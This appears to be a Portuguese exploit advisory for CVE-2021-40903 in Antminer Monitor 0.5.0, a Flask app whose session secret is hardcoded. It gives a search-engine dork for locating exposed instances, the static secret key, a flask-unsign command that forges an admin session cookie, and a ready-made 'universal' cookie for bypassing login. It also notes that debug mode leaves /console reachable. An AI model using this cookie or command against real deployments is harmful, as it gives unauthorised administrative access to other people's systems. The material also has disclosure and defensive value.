
CVE-2021-40903
Data: 09/06/2021
Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22 Autor do Exploit: CQR.company / Vulnz.
Site do fornecedor: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
Link do software: https://github.com/anselal/antminer-monitor, https://soulis.tech/
Versão: 0.5.0
Testado em: Windows, Linux, Macos
O software é comumente usado para monitorar antminers e pode ser facilmente encontrado no zoomeye (800), shodan (500). Por enquanto, esta é a ferramenta de monitoramento de antminers mais popular. A vulnerabilidade no Antminer Monitor existe devido a uma backdoor ou configuração incorreta feita pelo desenvolvedor no arquivo de configurações do servidor flask.
O arquivo de configurações possui uma string secreta predefinida, que deveria ser gerada aleatoriamente, mas é estática nesta build. antminer-monitor/settings.py at 5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor · GitHub https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py
A chave secreta é 'super secret key'.
Com base nessa informação, podemos criar cookies de bypass de autorização.
Usando a ferramenta flask-unsign, podemos gerar um cookie que fornecerá acesso de administrador.
flask-unsign --sign --cookie "{'_fresh': True, '_id': b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6', '_user_id': '1', 'csrf_token': b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret key"
Além disso, você pode usar este cookie universal para acessar a interface web da aplicação flask.
Este cookie pode funcionar em todos os sistemas no campo "session".
.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU
Além disso, DEBUG = True, o que significa que /console funciona, mas requer um pin.